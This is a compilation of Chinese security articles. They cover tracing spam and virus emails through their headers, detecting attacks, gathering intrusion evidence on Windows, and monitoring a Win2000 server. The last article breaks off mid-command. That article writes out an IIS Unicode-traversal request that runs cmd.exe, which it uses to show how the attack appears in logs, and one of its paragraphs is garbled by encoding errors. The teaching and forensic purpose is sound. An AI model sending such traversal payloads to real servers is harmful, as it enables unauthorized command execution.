Date: Mon, 24 May 2004 11:07:45 +0800
X-Priority: 3
Message-Id: <20040524030745.399521C124@xfocus.org>
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 12 of 17
现在来对该邮件进行简单的分析。首先看
Received: from dfd.com (unknown [221.232.11.40])
by xfocus.org (Postfix) with ESMTP id 399521C124
for <refdom@xfocus.org>; Mon, 24 May 2004 11:07:41 +0800 (CST)
我的邮件服务器xfocus.org当然是可信的，因此这一条received信息也是可靠的，
只是可能其中的一些内容并不是真实可靠的。邮件来自一个机器名为dfd.com 的，IP 地
址为221.232.11.40，邮件接收时间是Mon, 24 May 2004 11:07:41 +0800 (CST)
简单的以dfd.com检查，得出IP 地址为dfd.com [209.35.182.41]，很容易可
以知道这个dfd.com只是一个名字而已。
IP地址221.232.11.40是属于湖北的。
该邮件的发送者是From: "bbcss" <dfd@dfd.com>，而回复地址是：Reply-To:
dfxc@vip.sina.com
实际上，dfd@dfd.com是伪造的了，但是回复地址却可能是真实的。
这种商业垃圾邮件一定是使用了一些垃圾邮件发送工具，能够伪造发送者地址、机器名，
并且可以直接传递邮件，比如自带SMTP。
垃圾邮件实例二
下面是我接收到的一个真实的垃圾邮件（内容是什么美国之音）头信息，比上一封的分
析将显得复杂一些，但也并不困难：
Received: from imu.edu.cn (unknown [221.192.19.3])
by bjmx1 (Coremail) with SMTP id +nQSADJRnkAIABMD.2
for <nyyu@tom.com>; Sun, 09 May 2004 23:42:06 +0800 (CST)
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 13 of 17
X-Originating-IP: [221.192.19.3]
Received: from [218.105.225.91] uid 9369 星期日, 09 五月 2004
07:55:59
Message-ID: <20040509179343.1649@mail.14m18.com>
From: honglove@imu.edu.cn
To: nyyu@tom.com
Date: Sun, 9 May 2004 08:43:21 -0700
Subject: American English , 70
Mime-Version: 1.0
这个邮件接收对象是nyyu@tom.com，这并不是我的邮件地址，很明显，我的邮件地
址被放在了Bcc里面了，所以在邮件头中是没有显示的。
可以肯定的是，这个是真实的：
Received: from imu.edu.cn (unknown [221.192.19.3])
by bjmx1 (Coremail) with SMTP id +nQSADJRnkAIABMD.2
for <nyyu@tom.com>; Sun, 09 May 2004 23:42:06 +0800 (CST)
我们假设整个邮件都没有被伪造过，然后来分析，可以看出一些有趣的东西：
该邮件的传递过程是：
1、218.105.225.91 （MUA）—— Sun, 9 May 2004 08:43:21 -0700
2、mail.14m18.com （MTA）
或imu.edu.cn (unknown [221.192.19.3])
—— uid 9369 星期日, 09 五月 2004 07:55:59
3、bjmx1（FROM ：221.192.19.3）—— Sun, 09 May 2004 23:42:06 +0800
(CST)
l 按照邮件传递时间的分析：
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 14 of 17
邮件的传递时间是很有意思的，在步骤1 中，时间是08:43:21（时区为-0700 ，美
国山区时区），而到第2步，时间变成了07:55:59，最后接收时间是23:42:06（时区为
+0800 ），如果统一时区，那么接收时间是08:42:06（时区为-0700）。从这里发现步骤1
和3 时间有错位，接收时间比邮件创建的时候更早，难道邮件进入了时间隧道？合理的解
释是下面的一种可能：
l 步骤1 和3 中的系统时间不是标准时间，服务器出现了一些误差（时间误差不多，
很有可能）；
l 步骤1 中邮件头是伪造的；
但是步骤2 的时间（07:55:59）就有问题了，时间相差太多。但是因为没有显示时区
信息，那么有可能是：
l 邮件头是伪造的；
l 所处时区不一样，推测步骤2 的MTA 位于时区为-0600，也就是美国中部时区，
调整为-0700时区的话，时间就是08:55:59了(从时间上看很有可能)；
如果以从这样分析，我们可以得出一个结论：邮件是从地理位置的美国偏中部，传递到
美国偏西部，然后再传递到中国的。
l 按照邮件传递地址的分析：
传递路径中，第3 条信息是我的邮件服务器的内容，因此可以信任该内容是完全真实
的，并且它接收的邮件来自机器名（不是域名）为imu.edu.cn (unknown
[221.192.19.3])，但是DNS并没有得到，是unknown。
而第2步骤就非常有意思了，我在这里设置了一个或者关系，因为，假设如果每个MTA
都插入Revceived 的内容话，那么第2 步就应该不存在或者关系了，原因是，从3 可以
得出结论，前一MTA应该是机器名为imu.edu.cn[221.192.19.3]的系统发出的，但是，
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 15 of 17
我们从Message-ID:得出的结论应该是：这个MTA 为mail.14m18.com，（应该不会存
在域名为14m16.com的机器名为imu.edu.cn的）但是，whois查询的结果告诉我们，
14m18.com 是根本不存在的，也就是说，Message-ID 是完全属于伪造，并且
221.192.19.3地址经过查询，属于河北省的，假设imu.edu.cn是一个正确的域名（来
自这个域名的邮箱），查询域名地址为202.207.0.X范围，由此可以判断邮件发送者地址
是伪造的。
经过时间和地址的两种办法分析之后，得出的结论只有：
邮件是通过暗送传递出来并到达我的邮箱，邮件传递过程被伪装或篡改了，根本不可信
任，但是，邮件来自河北省IP 地址为221.192.19.3 这是可以肯定的（但是现在我没有
办法与该主机通讯，无法察看该主机是否是被利用的邮件服务器）。
垃圾邮件实例三
这是一封病毒（W32/Lovgate.x@MM）邮件：
Return-Path: <envoywaltsimer@diplomats.com>
Delivered-To: virus-quarantine
X-Envelope-To: <refdom@xfocus.org>
X-Quarantine-id: <virus-20040513-125224-16799-09>
Received: from diplomats.com (unknown [202.195.227.201])
by xfocus.org (Postfix) with ESMTP id 381FD18EC5
for <refdom@xfocus.org>; Thu, 13 May 2004 12:51:44 +0800 (CST)
From: envoywaltsimer@diplomats.com
To: refdom@xfocus.org
Subject: Hello
Date: Thu, 13 May 2004 12:54:13 +0800
MIME-Version: 1.0
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 16 of 17
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0008_927B3592.2CE9A115"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040513045145.381FD18EC5@xfocus.org>
X-AMaViS-Alert: INFECTED, message contains virus:
W32/Lovgate.x@MM
邮件内容应该都是真实的，只是其中一些部分被邮件服务器上的反病毒插件作了修改。
病毒感染者是envoywaltsimer@diplomats.com，虽然邮件内容和标题都可能做得很有
欺骗性，但是伪造邮件头的病毒还很少。
7 总结
从前面的几个实例简单分析过程，我们可以知道一般有下面内容能够给我们提供需要的
线索来追踪邮件来源：
l 邮件内容。特别是一些商业垃圾邮件，一般内容中提到的联系方式、网站等是可信
的。
l Reply-to，有的时候伪装了发送者地址，但是发送者可能希望得到回复，所以
reply-to可能就提供的是真实的邮件地址。
l 最终邮件服务器的received:的内容，除非你的服务器被控制了。注意，不要相
信其中的机器名，这些机器名通常都修改为某个域名一样的。但是它的IP地址你
是可以相信的，虽然用来追踪可能显得还很弱。
从上面的分析也很容易看出，通过对邮件的分析，我们一般能够找到可能接近源头的某
个邮件地址或者一个IP地址（这个IP地址可能是一个受害者），用这些信息来追查，依然
存在很多难度，毕竟有些事情不是某个人可以完成的，但是却在某些特殊应用方面能够提供
XFocus Security Team.
Http://www.xfocus.org
_________________________________________________________________
Copyright? 2004 XFocus Security Team. All Rights Reserved.
Page 17 of 17
不小的帮助。
8 参考
1、 IP地址查询：http://www.apnic.net/apnic-bin/whois.pl/
2、 Whois：http://www.whois.org/
3、 http://www.faqs.org/faqs/


浅谈网络攻击检测技术
  保证信息系统安全的经典手段是“存取控制”或“访问控制”，但无论在理论上还是在实践中，这种手段都不能彻底填补一个系统的安全漏洞，也还没有一种切实可行的办法解决合法用户在通过“身份鉴别”或“身份认证”后滥用特权的问题。攻击检测技术就像治安巡逻队，专门注重于发现形迹可疑者。
    计算机网络技术的发展和应用对人类生活方式的影响越来越大。通过Internet网连接到几乎世界上任何一台计算机。因此，传统的安全域的概念也已经发生了深刻的变化，边界变得模糊了，网络系统管理员再也不能满足于守住安全边界了；也不再有信心保护敏感信息万无一失。越来越多的证据表明计算机信息系统的安全性是十分脆弱的。基于计算机、网络的信息系统的安全问题已经成为非常严重的问题。
    一、存取控制与攻击检测：站岗与巡逻
    保证信息系统安全的经典手段是“存取控制”或“访问控制”，这种手段在经典的以及现代的安全理论中都是实行系统安全策略的最重要的手段。但迄今为止，软件工程技术还没有达到A2级所要求的形式生成或证明一个系统的安全体系的程度，所以不可能百分之百地保证任何一个系统(尤其是底层系统)中不存在安全漏洞。而且，无论在理论上还是在实践中，试图彻底填补一个系统的安全漏洞都是不可能的，也还没有一种切实可行的办法解决合法用户在通过“身份鉴别”或“身份认证”后滥用特权的问题。打个比方，经典的安全体系就像一座城池，身份认证就好像进城时的查路条一样，着重点在于防范奸细混入；但是这种措施对于城池的安全仍是远远不够的。
    攻击检测作为其他经典手段的补充和加强，是任何一个安全系统中不可或缺的最后一道防线；攻击检测可以分为被动、非在线地发现和实时、在线地发现计算机网络系统中的攻击者两种方法。从大量非法入侵或计算机盗窃案例可以清晰地看到，计算机系统的最基本防线“存取控制”或“访问控制”，在许多场合不是防止外界非法入侵和防止内部用户攻击的绝对无懈可击的屏障。大量攻击成功的案例是由于系统内部人员不恰当地或恶意地滥用特权而导致的。攻击检测技术则类似于治安巡逻队，专门注重于发现形迹可疑者，信息系统的攻击者很有可能通过了城门的身份检查，或者爬越了城墙而混入城中；这时要想进一步加强信息系统的安全强度，就需要增派一支巡逻队，专门负责检查在城市中鬼鬼祟祟行动可疑的人员。
    攻击检测提供了一种机制，对合法用户而言能够在一定程度上使他们为其失误或非法行为负责，从而增强他们的责任感。对非法进入的攻击者而言则意味着增强了纠察力度，行使着公安局、检察院的职责。攻击检测具有最后防线性质的防范能力，或许是用来发现合法用户滥用特权的唯一方法，而且完善的攻击检测还能用具有法律效力的方式证明一个受到怀疑的人是否有罪。
    早期中大型的计算机系统中都收集审计信息来建立跟踪文件，这些审计跟踪的目的多是为了性能测试或计费，因此对攻击检测提供的有用信息比较少。
    二、攻击检测技术
    1.攻击分类
    在信息系统中，一般至少应当考虑如下三类安全威胁：外部攻击、内部攻击和行为滥用。攻击者来自该计算机系统的外部时称作外部攻击；当攻击者就是那些有权使用计算机，但无权访问某些特定的数据、程序或资源的人企图越权使用系统资源时视为内部攻击，包括假冒者(即那些使用其他合法用户的身份和口令的人)、秘密使用者(即那些有意逃避审计机制和存取控制的人员)；特权滥用者也是计算机系统资源的合法用户，表现为有意或无意地滥用他们的特权。
    通过审计试图登录的失败记录可以发现外部攻击者的攻击企图；通过观察试图连接特定文件、程序和其他资源的失败记录可以发现内部攻击者的攻击企图，如可通过比较为每个用户单独建立的行为模型和特定的行为来检测发现假冒者；但要通过审计信息来发现那些权利滥用者往
    往是很困难的。
    基于审计信息的攻击检测特别难于防范具备较高优先特权的内部人员的攻击，因为攻击者可通过使用某些系统特权或调用比审计本身更低级的操作来逃避审计。对于那些具备系统特权的用户，需要审查所有关闭或暂停审计功能的操作，通过审查被审计的特殊用户、或者其他的审计参数来发现。审查更低级的功能，如审查系统服务或核心系统调用通常比较困难，通用的方法很难奏效，需要专用的工具和操作才能实现。总之，为了防范隐秘的内部攻击需要在技术手段以外确保管理手段行之有效，技术上则需要监视系统范围内的某些特定的指标(如CPU、内存和磁盘的活动)，并与通常情况下它们的历史记录进行比较，以期发现之。
    2.攻击检测技术分类
    基于计算机系统审计跟踪信息设计和实现的系统安全自动分析或检测工具是最为自然朴素的攻击检测技术。可以从审计系统筛选出涉及安全的信息。其思路与流行的数据挖掘(Data Mining)技术极其类似。
    基于审计的自动分析检测工具可以是脱机的，也可以是联机或在线的。分析工具实时地对审计跟踪文件提供的信息进行同步处理，当有可疑的入侵行为时，系统提供实时的警报，在攻击发生时就能提供攻击者的有关信息。
    对于信息系统安全强度而言，联机或在线的攻击检测是比较理想的，能够在案发现场及时发现攻击行为，有利于及时采取对抗措施，使损失降低到最低限度。同时也为抓获攻击犯罪分子提供有力的证据。但是，联机的或在线的攻击检测系统所需要的系统资源，几乎随着系统内部活动数量的增长呈几何级数增长。
    3.攻击检测方法
    (1)基于审计的攻击检测
    基于审计信息的攻击检测工具以及自动分析工具可以向系统安全管理员报告计算机系统活动的评估报告，通常是脱机的、滞后的。
    对攻击的实时检测系统的工作原理是基于对用户历史行为的建模，以及在早期的证据或模型的基础之上。审计系统实时地检测用户对系统的使用情况，根据系统内部保持的用户行为的概率统计模型进行监测，当发现有可疑的用户行为发生时，保持跟踪并监测该用户的行为。
    系统应具备处理自适应的用户参数的能力。能够判断使用行为的合法或可疑。系统应当能够避免“肃反扩大／缩小化”的问题。这种办法同样适用于检测程序的行为以及对数据资源(如文件或数据库)的存取行为。
    (2)基于神经网络的攻击检测技术
    如上所述，基于审计统计数据的攻击检测系统，具有一些天生的弱点，因为用户的行为可以是非常复杂的，所以想要准确匹配一个用户的历史行为和当前的行为是相当困难的。错发的警报往往来自于对审计数据的统计算法所基于的不准确或不贴切的假设。SRI的研究小组利用和发展神经网络技术来进行攻击检测。神经网络可能用于解决传统的统计分析技术所面临的以下几个问题：
    ●难于建立确切的统计分布
    ●难于实现方法的普适性
    ●算法实现比较昂贵
    ●系统臃肿难于剪裁
    目前，神经网络技术提出了对基于传统统计技术的攻击检测方法的改进方向，但尚不十分成熟，所以传统的统计方法仍将继续发挥作用，也仍然能为发现用户的异常行为提供相当有参考价值的信息。
    (3)基于专家系统的攻击检测技术
    进行安全检测工作自动化的另外一个值得重视的研究方向就是基于专家系统的攻击检测技术，即根据安全专家对可疑行为的分析经验来形成一套推理规则，然后再在此基础之上构成相应的专家系统。由此专家系统自动进行对所涉及的攻击操作的分析工作。
    所谓专家系统是基于一套由专家经验事先定义的规则的推理系统。例如，在数分钟之内某个用户连续进行登录，且失败超过三次就可以被认为是一种攻击行为。类似的规则在统计系统似乎也有，同时应当说明的是基于规则的专家系统或推理系统也有其局限性，因为作为这类系统的基础的推理规则一般都是根据已知的安全漏洞进行安排和策划的，而对系统的最危险的威胁则主要是来自未知的安全漏洞。实现一个基于规则的专家系统是一个知识工程问题，而且其功能应当能够随着经验的积累而利用其自学习能力进行规则的扩充和修正。
    (4)基于模型推理的攻击检测技术
    攻击者在入侵一个系统时往往采用一定的行为程序，如猜测口令的程序，这种行为程序构成了某种具有一定行为特征的模型，根据这种模型所代表的攻击意图的行为特征，可以实时地检测出恶意的攻击企图，尽管攻击者并不一定都是恶意的。用基于模型的推理方法人们能够为某些行为建立特定的模型，从而能够监视具有特定行为特征的某些活动。根据假设的攻击脚本，这种系统就能检测出非法的用户行为。一般为了准确判断，要为不同的入侵者和不同的系统建立特定的攻击脚本。
    当有证据表明某种特定的攻击模型发生时，系统应当收集其他证据来证实或者否定攻击的真实，以尽可能的避免错报。
    为了防止过多的不相干信息的干扰，用于安全目的的攻击检测系统在审计系统之外一般还配备适合系统安全策略的信息采集器或过滤器。同时，还应当充分利用来自其它信息源的信息。在某些系统内可以在不同的层次进行审计跟踪。如有些系统的安全机制中采用三级审计跟踪，包括审计操作系统核心调用行为的跟踪、审计用户和操作系统界面级行为的跟踪、和审计应用程序内部行为的跟踪。
    总之，和经典安全措施相同，任何一种攻击检测措施都不能视之为一劳永逸的，必须配合有效的管理和组织措施，形成立体的和纵深有序的安全防御体系。


巧妙收集入侵win系统的证据
随着网络的不断扩大，网络安全更加会成为人们的一个焦点，同时也成为是否能进一步投入到更深更广领域的一个基石。当然网络的安全也是一个动态的概念，世界上没有绝对安全的网络，只有相对安全的网络。相对安全环境的取得可以通过不断地完善系统程序（及时给系统漏洞打上不同的补丁和给系统升级）、装上防火墙，同时对那些胆敢在网络上破坏秩序做出不义行为的人给予恰如其分的处理。这必然要牵涉到证据的收集，本文正是对这一方面的内容针对Windows系统进行研究。
一、Windows系统特性

Windows操作系统维护三个相互独立的日志文件：系统日志、应用程序日志、安全日志。
1.系统日志
系统日志记录系统进程和设备驱动程序的活动。它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址，以及服务的启动、暂停和停止。系统日志包含由系统组件记录的事情。例如在系统日志中记录启动期间要加载的驱动程序或其他系统组件的故障。由系统组件记录的事件类型是预先确定的。系统日志还包括了系统组件出现的问题，比如启动时某个驱动程序加载失败等。
2.应用程序日志
应用程序日志包括关于用户程序和商业通用应用程序的运行方面的错误活动，它审核的应用程序事件包括所有错误或应用程序需要报告的信息。应用程序日志可以包括性能监视审核的事件以及由应用程序或一般程序记录的事件，比如失败登录的次数、硬盘使用的情况和其它重要的指针；比如数据库程序用应用程序日志来记录文件错误；比如开发人员决定所要记录的事件。
3.安全日志
安全日志通常是在应急响应调查阶段最有用的日志。调查员必须仔细浏览和过滤这些日志的输出，以识别它们包含的证据。安全日志主要用于管理员记载用户登录上网的情况。在安全日志中可以找到它使用的系统审核和安全处理。它审核的安全事件包括用户特权的变化、文件和目录访问、打印以及系统登录和注销。安全日志可以记录诸如有效的登录尝试等安全事件以及与资源使用有关的事件，例如创建、打开或删除应用文件。管理员可以指定在安全日志中记录的事件。例如如果你启用了登录审核，那么系统登录尝试就记录在安全日志中。

二、寻找“显形”证据

系统工具提供了对系统进一步的监视，在性能监视器中可以看到其图形化的变化情况。而计数器日志、跟踪日志和警报则提供了对本地或远端系统的监视记录，并可根据预定的设定进行特定的跟踪和报警。还可利用不同的用于配置、管理COM组件及应用的组件服务工具记录或查找相关信息。
1.查看三大日志
在计算机上维护有关应用程序、安全性系统事件的日志，可以使用事件查看器查看并管理事件日志。它用于收集计算机硬件、软件和系统整体方面的错误信息，也用来监视一些安全方面的问题。它可根据应用程序日志、安全日志和系统日志来源将记录分成3类。
事件查看器显示以下几种事件类型：error是指比较严重的问题，通常是出现了数据丢失或功能丢失。例如如果在启动期间服务加载失败，则会记录错误。Warning给出警告则表明情况暂时不严重，但可能会在将来引起错误，比如磁盘空间太少等。Information描述应用程序、驱动程序或服务的成功操作的事件。例如成功地加载网络驱动程序时会记录一个信息事件。Success audit审核访问尝试成功。例如将用户成功登录到系统上的尝试作为成功审核事件记录下来。Failure audit审核安全尝试失败。例如如果用户试图访问网络驱动器失败，该尝试就会作为失败审核事件记录下来。
注意启动系统时事件日志服务会自动启动，所有用户都可以查看应用程序日志和系统日志，但是只有管理员才能访问安全日志。默认情况下会关闭安全日志，所以管理员要记住设定启用。管理员既可以使用组策略启用安全日志记录，也可以在注册表中设置策略使系统在安全日志装满时停止运行。
基于主机的检测器可以检测到系统类库的改变或敏感位置文件的添加。当结合所有现有的基于网络的证据片断时，就有可能重建特定的网络事件，诸如文件传输、缓冲区溢出攻击，或在网络中使用被盗的用户帐号和密码等。
当调查计算机犯罪时，会发现很多潜在证据的来源，不仅包括基于主机的日志记录，而且还包括网络的日志记录以及其它的传统形式，如指纹、证词和证人。大多数的网络流量在它经过的路径上都留下了监查踪迹。路由器、防火墙、服务器、IDS检测器及其它的网络设备都会保存日志，记录基于网络的突发事件。DHCP服务器会在PC请求IP租用时记录网络访问。现代的防火墙允许管理员在创建监查日志时有很多种粒度。IDS检测器可以根据签名识别或异常的检测过滤器来捕获一个攻击的一部分。基于网络的日志记录以多种形式存储，可能源自不同的操作系统，可能需要特殊的软件才能访问和读取，这些日志在地理上是分散的，而且常常对当前系统时间有严重错误的解释。调查人员的挑战就在于查找所有的日志，并使之关联起来。从不同系统获得地理上分散的日志、为每个日志维护保管链、重建基于网络的突发事件，这一切都需要消耗大量的时间和密集的资源。
2.检查相关文件、执行关键词搜索
Windows系统同时进行对很多文件的输入和输出，所以几乎所有发生在系统上的活动都会留下一些发生的痕迹。它有许多临时文件、高速缓存文件、一个跟踪最近使用文件的注册文件、一个保留删除文件的回收站和无数的存储运行时间资料的其它位置。
在调查知识产权或所有权、信息的所有权、性骚扰以及任何实际上包含基于文本通信的问题上，对目标硬盘驱动器执行字符串搜索是非常重要的。很多不同的关键词可能对调查非常重要，这些关键词包括用户ID、密码、敏感资料（代码字）、已知的文件名和具体的主题词。字符串搜索可以在逻辑文件结构上执行，也可以在物理层次上执行。
3.鉴定未授权的用户帐号或组、“流氓”进程
检查用户管理器，寻找未授权的用户帐号；使用usrstat浏览域控制器中的域帐号，寻找可疑的项目；使用Event Viecser检查安全日志，筛选出事件为添加新帐号、启用用户帐号、改变帐号组和改变用户帐号的项目。
鉴定检查一个运行系统时，鉴定“流氓”进程是非常简单的。因为大部分“流氓”进程都要监听网络连接或探测网络以获得纯文本的用户ID和密码，这些进程很容易在执行过程中被发现。plist命令将列出正在运行的进程，listdlls将提供每个运行中进程的完整的命令行参数，fport将显示监听的进程以及他们所监听得到端口。对于未运行的系统上“流氓”进程，方法是在证据的整个逻辑卷内使用最新的病毒扫描程序进行扫描。如果选择在还原映象的文件系统上运行病毒检查工具，必须保证这个卷是只读的。
4.寻找隐藏文件和恢复被删除文件
所有的坏人都想隐藏一些事情，他们采取这样的办法：一旦一个内部攻击者选择在他的系统上执行未授权或不受欢迎的任务，他可能会让一些文件不可见。这些攻击者可能利用NTFS文件流，在合法文件后隐藏资料。还有可能改变文件的扩展名或特意将文件名命为重要系统文件的名字，最后还可以把文件删除。
我们知道被删除的文件并不是真正被删除了，它们只是被标记为删除。这就意味着这些文件仍保存完好，直到新数据的写入覆盖了这些被删除文文件所在硬盘驱动器的物理空间。也就是说越早尝试，恢复一个文件成功的机会就越大。File Scavenger甚至可能在硬盘被重新格式化后还能进行恢复。
5.检查未授权的访问点和安全标识符SID
当检查到一个受害系统时，必须鉴别系统的访问点以确定进行访问的方式，一些工具都是鉴别系统访问点的重要工具，它们使用API调用以读取内核及用户空间的TCP和UDP连接表的内容。如果想捕获这一信息，需要允许通过还原映象引导系统。如果想在检查运行系统时完成这一步，则要在关闭系统以进行映象之前，比较这两个操作的结果，它们的差异表明存在未授权的后台程序。
SID用于唯一地标识一个用户或一个组。每一个系统都有自己的标识符。计算机标识府和用户标识符一起构成了SID.因此SID可以唯一地标识用户帐号。所以我们需要比较在受害机器上发现的SID和在中央认证机构记录的SID。
6.检查Scheduler Service运行的任务
攻击者常用的一个策略是让调度事件为他们打开后门程序、改变审核策略或者完成更险恶的事。比如删除文件。恶意的调度作业通常是用at或soon工具调度它们的。不带命令行参数的at命令可以显示任何已调度的作业。
7.分析信任关系
WINDOWS NT系统支持不可传递的或单向的信任。这意味着只能单方向提供访问和服务。即使你的NT PDC信任其它域，这个被信任的域也不需要信任你的PDC,因此被信任域中的用户能使用你所在域的服务，但是反过来就不行。WINDOWS 2000则支持可传递的信仰。
三、“隐形”证据的查找

由于攻击者的诡密性日益提高，他们还使用隐蔽信道的方法躲避检测。我们将隐蔽信道定义为所有秘密的、隐藏的、难以检测的通信方式。所有与此相关的证据称为“隐形”证据。
1.难以检测、回放的行为
所捕捉或被监视到的，但是还需要进行进一步详细检查才能识别出的那些未经授权的流量。这些行为包括诸如Loki 2.0 HTTP命令信道和邮件隧道效应等ICMP和UDP隐蔽信道。查找办法就是仔细检查所监视到的流量，提高鉴别能力。包括任何类型通信中的那些利用任何工具都不能按人们可读的方式显示或重构的各种行为。查看会话的最常见阻碍就是加密。更多的经验丰富的攻击者可以建立加密信道，使得网络监视失效。许多网络协议本质上就是难以回放的，X Windows通信、Netbus通信和其它传输大量图形信息的远程会话都是很难再现的。监视加密通信并不是完全没用，因为它可以证明在确定的IP地址之间没有进行通信。所需的证据就在于这些端点上。
2.难以跟踪到源IP地址的攻击行为
它可以通过拒绝服务攻击得到最好的证明。源IP地址通常是被伪装的，这就使得通过源地址跟踪源计算机是非常困难的。以日志文件或嗅探器捕获文件形式保存的电子证据所报告的是错误数据。被伪装的邮件或欺骗性的电子邮件也对按电子邮件跟踪到这些消息的原始计算机提出了挑战。人们会发现中继电子邮件服务器位于一个法律上不合作的国家，并通过此服务器发送伪造电子邮件。这些中继电子邮件服务器通常记录了原始计算机的IP地址，但是由于位于不合作的外国，所以无法获得这些信息。加大在网络边界的监视，充分发挥网关的识别作用，才是解决此类问题的唯一所选。
3.使得证据难以收集
通过下列方式可以使证据难以收集——加密文件、安装可装载的核心模块以便利用你的操作系统来对付你，以及对二进制文件使用“特洛伊木马”使攻击者的痕迹不过于明显。攻击者阻碍收集证据的另一个技巧是不断改变远程系统的端口。当攻击者以一种看起来随机的方式频繁地修改端口以初始化与受攻击系统的连接时，调查员很难实施获得相关信息的过程。
对于此种证据的查找，我们采取在线被动的网络监视办法以及通过IDS、 防火墙和其他信息源知道有关攻击的多种标志,同时不断总结有效的分析网络通信的调查方法。在网络中发现非法的服务器或通信的非法通道，这是最有效的方法。它为确定可疑行为的程度和确定以非法方式通信的相关系统提供了一种方法，以便确定将系统保持在线状态所冒的风险和系统脆弱程度。根据这些信息，可以采取适当的后续步骤或防范措施。同时并加大培训力度，不断提高监视技巧，加强有力的自动分析工具的开发。
4.免受监视的行为
包括ICMP通信、SMTP通信、POP通信、Usenet通信、在外部介质保存文件、看上去无害的Web通信，以及源于内部IP地址的通信。查找此类证据的唯一方法就是监视尽可能多的通信。
为了维持对攻击者的优势，预见攻击的变革是十分必要的。只有了解攻击者的目标才能知道可能遭受攻击的地方。只有了解这些目标才有可能预见到在网络上发生的攻击，由此我们既要熟悉合法通信的标准，又要深入了解各种网络协议本身然后进行网络监视并仔细检查网络通信以便确认各种不同类型的隐蔽通道，查找出不同的隐形证据。
计算机取证技术的研究是一个相当复杂的课题，本文力图从两个方面来对计算机取证技术的过程和步骤进行探讨，提出了一种较为完善的由易到难、由简单到复杂的方法。我们可以通过对“显形”证据查找的办法支持在小局域网、军队网进行计算机取证，也支持在英特网上查找一些简易的取证，通过对“隐形”证据查找的办法支持在大的局域网甚至在英特网上查找复杂的取证，为调查人员提供重要的调查线索和证据来源。
作者： lala
来 源： 《黑客防线》


Win2000 Server入侵监测
我们知道了Win2000 Server的安全配置，经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透，但是，就象上一章结束时我所提到 的：系统安全是一个连续的过程，随着新漏洞的出现和服务器应用的变化，系统的安全状况也在不断变化着；同时由于攻防是矛盾的统一 体，道消魔长和魔消道长也在不断的转换中，因此，再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。
     所以，安全配置服务器并不是安全工作的结束，相反却是漫长乏味的安全工作的开始，本文我们将初步探讨Win2000服务器入 侵检测的初步技巧，希望能帮助您长期维护服务器的安全。
     本文中所说的入侵检测指的是利用Win2000 Server自身的功能及系统管理员自己编写的软件/脚本进行的检测，使用防火墙（Firewall）或入侵监测系统（IDS） 的技巧并不在本文的讨论范围之内。
     现在假定：我们有一台Win2000 Server的服务器，并且经过了初步的安全配置（关于安全配置的详情可以参阅Win2000 Server安全配置入门<一>），在这种情况下，大部分的入侵者将被拒之门外。（哈哈，我管理员可以回家睡大觉去 了）慢着，我说的是大部分，不是全部，经过初步安全配置的服务器虽然可以防御绝大多数的Script kid（脚本族-只会用别人写的程序入侵服务器的人），遇到了真正的高手，还是不堪一击的。虽然说真正的高手不会随便进入别人的 服务器，但是也难保有几个品行不端的邪派高手看上了你的服务器。（我真的这么衰么？）而且，在漏洞的发现与补丁的发布之间往往有 一段时间的真空，任何知道漏洞资料的人都可以乘虚而入，这时，入侵检测技术就显得非常的重要。
     入侵的检测主要还是根据应用来进行，提供了相应的服务就应该有相应的检测分析系统来进行保护，对于一般的主机来说，主要应该 注意以下几个方面：
1、 基于80端口入侵的检测
     WWW服务大概是最常见的服务之一了，而且由于这个服务面对广大用户，服务的流量和复杂度都很高，所以针对这个服务的漏洞和 入侵技巧也最多。对于NT来说，IIS一直是系统管理员比较头疼的一部分（恨不得关了80端口），不过好在IIS自带的日志功能 从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下，一般是按 24小时滚动的，在IIS管理器中可以对它进行详细的配置。（具体怎么配我不管你，不过你要是不详细记录，回头查不到入侵者的I P可不要哭） http://www.sinosec.com/
     现在我们再假设（怎么老是假设呀，烦不烦？）别急呀，我不能为了写这篇文章真的去黑掉一台主机，所以只好假设了，我们假设一 台WEB服务器，开放了WWW服务，你是这台服务器的系统管理员，已经小心地配置了IIS，使用W3C扩展的日志格式，并至少记 录了时间（Time）、客户端IP（Client IP）、方法（Method）、URI资源(URI Stem)、URI查询(URI Query)，协议状态（Protocol Status)，我们用最近比较流行的Unicode漏洞来进行分析：打开IE的窗口，在地址栏输入：127.0.0.1/sc ripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir 默认的情况下你可以看到目录列表（什么？你已经做过安全配置了，看不到？恢复默认安装，我们要做个实验），让我们来看看IIS的 日志都记录了些什么，打开Ex010318.log（Ex代表W3C扩展格式，后面的一串数字代表日志的记录日期）：07:42 :58 127.0.0.1 GET /scripts/..\../winnt/system32\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58（就是北京时间23:42:58），有一个家伙（入侵者）从127.0. 0.1的IP在你的机器上利用Unicode漏洞（%c1%1c被解码为"\"，实际的情况会因为Windows语言版本的不同 而有略微的差别）运行了cmd.exe，参数是/c dir，运行结果成功（HTTP 200代表正确返回）。(哇，记录得可真够全的，以后不敢随便乱玩Unicode了)
     大多数情况下，IIS的日志会忠实地记?*邮盏降娜魏吻肭螅ㄒ灿刑厥獾牟槐籌IS记录的攻击，这个我们以后再讨论），所以 ，一个优秀的系统管理员应该擅长利用这点来发现入侵的企图，从而；ぷ约旱南低场５牵琁IS的日志动辄数十兆、流量大的网站甚 至数十G，人工检查几乎没有可能，唯一的选择就是使用日志分析软件，用任何语言编写一个日志分析软件（其实就是文本过滤器）都非 常简单，不过考虑到一些实际情况（比如管理员不会写程序，或者服务器上一时找不到日志分析软件），我可以告诉大家一个简单的方法 ，比方说你想知道有没有人从80端口上试图取得你的Global.asa文件，可以使用以下的CMD命令：find
